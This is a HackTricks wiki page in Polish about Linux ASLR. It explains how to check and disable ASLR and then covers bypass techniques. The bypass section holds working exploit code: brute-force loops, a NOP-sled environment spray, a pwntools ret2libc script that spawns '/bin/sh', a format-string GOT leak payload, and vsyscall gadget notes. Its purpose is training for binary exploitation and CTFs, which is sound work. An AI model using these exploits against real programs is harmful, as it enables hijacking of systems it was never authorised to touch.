hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr
2024-04-09 00:24:13 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/common-binary-protections- 2024-04-09 00:24:13 +00:00
ret2plt.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00
ret2ret.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00

ASLR

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Randomizacja układu przestrzeni adresowej (ASLR) to technika bezpieczeństwa stosowana w systemach operacyjnych do losowego przemieszczania adresów pamięci używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.

Sprawdzanie stanu ASLR

Aby sprawdzić stan ASLR w systemie Linux, można odczytać wartość z pliku /proc/sys/kernel/randomize_va_space. Wartość przechowywana w tym pliku określa rodzaj zastosowanej randomizacji ASLR:

  • 0: Brak randomizacji. Wszystko jest statyczne.
  • 1: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są randomizowane.
  • 2: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez brk() jest randomizowana.

Możesz sprawdzić stan ASLR za pomocą następującej komendy:

cat /proc/sys/kernel/randomize_va_space

Wyłączanie ASLR

Aby wyłączyć ASLR, ustaw wartość /proc/sys/kernel/randomize_va_space na 0. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Możesz również wyłączyć ASLR dla wykonania za pomocą:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Włączanie ASLR

Aby włączyć ASLR, można zapisać wartość 2 do pliku /proc/sys/kernel/randomize_va_space. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być włączona za pomocą następującej komendy:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Trwałość po ponownym uruchomieniu

Zmiany dokonane za pomocą poleceń echo są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik /etc/sysctl.conf i dodać lub zmodyfikować następującą linię:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Po edycji /etc/sysctl.conf zastosuj zmiany za pomocą:

sudo sysctl -p

To zapewni, że ustawienia ASLR pozostaną po ponownym uruchomieniu.

Bypassy

Brutalne narzucanie 32-bitowe

PaX dzieli przestrzeń adresową procesu na 3 grupy:

  • Kod i dane (zainicjowane i niezainicjowane): .text, .data i .bss —> 16 bitów entropii w zmiennej delta_exec. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
  • Pamięć przydzielana przez mmap() i biblioteki współdzielone —> 16 bitów, nazwana delta_mmap.
  • Stos —> 24 bity, oznaczane jako delta_stack. Jednak faktycznie używa 11 bitów (od 10. do 20. bajtu włącznie), wyrównanych do 16 bajtów —> To daje 524,288 możliwych rzeczywistych adresów stosu.

Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona ostateczna entropia umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie.

Pomysły na brutalne narzucanie:

  • Jeśli masz wystarczająco dużo miejsca na przepełnienie, aby pomieścić duży ślizg NOP przed kodem powłoki, możesz po prostu brutalnie narzucić adresy na stosie, aż przepływ przeskoczy część ślizgu NOP.
  • Inną opcją w przypadku, gdy przepełnienie nie jest tak duże, a atak może być uruchomiony lokalnie, jest możliwość dodania ślizgu NOP i kodu powłoki do zmiennej środowiskowej.
  • Jeśli atak jest lokalny, możesz spróbować brutalnie narzucić bazowy adres libc (przydatne dla systemów 32-bitowych):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Jeśli atakujesz zdalny serwer, możesz spróbować przemęczyć adres funkcji usleep z biblioteki libc, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer potrzebuje dodatkowych 10 sekund na odpowiedź, znalazłeś adres tej funkcji.

{% hint style="success" %} W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe. {% endhint %}

Przemęczanie stosu 64 bitów

Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania błędu w binarnym pliku programu setki/tysiące razy lokalnie, aby go zhakować.
Poniższy kod pokazuje, jak można wybrać adres na stosie i co kilka setek wykonania ten adres będzie zawierał instrukcję NOP:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Lokalne informacje (/proc/[pid]/stat)

Plik /proc/[pid]/stat procesu jest zawsze czytelny dla wszystkich i zawiera interesujące informacje takie jak:

  • startcode & endcode: Adresy powyżej i poniżej z TEKSTU binarnego
  • startstack: Adres początku stosu
  • start_data & end_data: Adresy powyżej i poniżej, gdzie znajduje się BSS
  • kstkesp & kstkeip: Aktualne adresy ESP i EIP
  • arg_start & arg_end: Adresy powyżej i poniżej, gdzie znajdują się argumenty wiersza poleceń
  • env_start & env_end: Adresy powyżej i poniżej, gdzie znajdują się zmienne środowiskowe

Dlatego jeśli atakujący znajduje się w tym samym komputerze co binarny plik podatny na atak i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego wejścia, które można stworzyć po odczytaniu tego pliku. Dla atakującego jest możliwe uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji.

{% hint style="success" %} Aby uzyskać więcej informacji na temat tego pliku, sprawdź https://man7.org/linux/man-pages/man5/proc.5.html szukając /proc/pid/stat {% endhint %}

Posiadanie wycieku

  • Wyzwaniem jest dostarczenie wycieku

Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc używaną w systemie, który jest wykorzystywany). Ten przykładowy exploit jest wyodrębniony z przykładu stąd (sprawdź tę stronę dla więcej szczegółów):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Wykorzystując przepełnienie bufora, można wykorzystać ret2plt do wycieku adresu funkcji z biblioteki libc. Sprawdź:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Format Strings Arbitrary Read

Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, można wyciec adres funkcji z biblioteki libc z GOT. Poniższy przykład pochodzi stąd:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Możesz znaleźć więcej informacji na temat arbitralnego odczytu łańcuchów formatujących w:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

Mechanizm vsyscall służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą vsyscalls jest ich stały adres, który nie podlega ASLR (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.
Jednakże tutaj nie znajdziesz zbyt interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika ret;)

(Poniższy przykład i kod pochodzi z tego opisu)

Na przykład, atakujący może użyć adresu 0xffffffffff600800 w ataku. Podczas próby skoku bezpośrednio do instrukcji ret może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok na początek syscall dostarczonego przez sekcję vsyscall może okazać się skuteczny. Starannie umieszczając gadżet ROP, który prowadzi wykonanie do tego adresu vsyscall, atakujący może osiągnąć wykonanie kodu bez konieczności omijania ASLR dla tej części ataku.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: